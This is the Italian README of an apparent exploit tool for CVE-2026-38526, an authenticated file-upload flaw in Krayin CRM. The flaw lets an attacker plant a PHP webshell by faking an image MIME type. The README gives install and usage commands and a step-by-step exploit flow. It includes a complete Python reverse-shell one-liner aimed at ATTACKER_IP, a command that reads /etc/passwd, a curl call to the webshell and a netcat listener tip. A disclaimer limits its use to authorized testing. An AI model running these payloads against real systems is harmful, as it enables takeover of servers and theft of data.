CVE-2026-38526 - Krayin CRM PHP Upload RCE

Exploit automatizzato per Krayin CRM ≤ 2.2.x. Questo script sfrutta una vulnerabilità di caricamento file senza restrizioni nell'endpoint TinyMCE (/admin/tinymce/upload), aggira la validazione del tipo MIME fingendo image/jpeg, carica una webshell PHP ed esegue comandi arbitrari con i privilegi del server web.

Dettagli della vulnerabilità

Prerequisiti

• Python 3.7+
• Credenziali amministrative valide per l'istanza Krayin CRM di destinazione
• Accesso di rete all'applicazione di destinazione
• Libreria requests

Installazione

git clone https://github.com/b0nyo/CVE-2026-38526.git
cd CVE-2026-38526
pip3 install -r requirements.txt

Utilizzo

python3 CVE-2026-38526.py -i <TARGET_URL> -u <USERNAME> -p <PASSWORD> [-c <COMMAND>]

Argomenti

Esempi

# Basic check
python3 CVE-2026-38526.py -i http://target.com -u [email protected] -p "AdminPassword123!"

# Custom command
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "cat /etc/passwd"

# Reverse shell
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"

Flusso dell'exploit

1. Autenticazione: Estrai il token CSRF dalla pagina di login, autenticati con le credenziali fornite
2. Validazione della sessione: Estrai un nuovo token CSRF dalla dashboard autenticata
3. Caricamento della webshell: Carica il payload PHP su /admin/tinymce/upload con tipo MIME falsificato
4. Esecuzione dei comandi: Esegui comandi arbitrari tramite il parametro GET della webshell

Esempio di output

[*] Target: http://target.com
[*] Username: [email protected]

[*] Authenticating...
[+] Authentication successful

[*] Uploading webshell...
[+] Webshell uploaded: http://target.com/storage/tinymce/abc123def456.php
[+] CVE-2026-38526 CONFIRMED - Remote Code Execution

[*] Executing: id
[*] Output:
────────────────────────────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
────────────────────────────────────────────────────────────────────

[*] Manual execution (curl):
curl 'http://target.com/storage/tinymce/abc123def456.php?cmd=id'

Problemi comuni

Autenticazione fallita: Verifica che le credenziali siano corrette e che l'account esista sul target.

Estrazione del token CSRF fallita: Assicurati che il target esegua una versione vulnerabile di Krayin CRM e che l'endpoint di login sia accessibile.

Reverse shell che non si connette: Assicurati che il listener sia in esecuzione (nc -lvnp <PORT>), che le regole del firewall consentano connessioni in uscita e che IP/porta nel payload siano corretti.

Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Gli utenti sono gli unici responsabili di assicurarsi di avere la corretta autorizzazione prima di testare qualsiasi sistema di destinazione. L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento.

Riferimenti

• Advisory di sicurezza TREXNEGRO - CVE-2026-38526
• Krayin CRM GitHub
• OWASP - Unrestricted File Upload

Autore

b0nyo - Implementazione del PoC

• GitHub

TREXNEGRO - Scoperta della vulnerabilità

• Security Advisories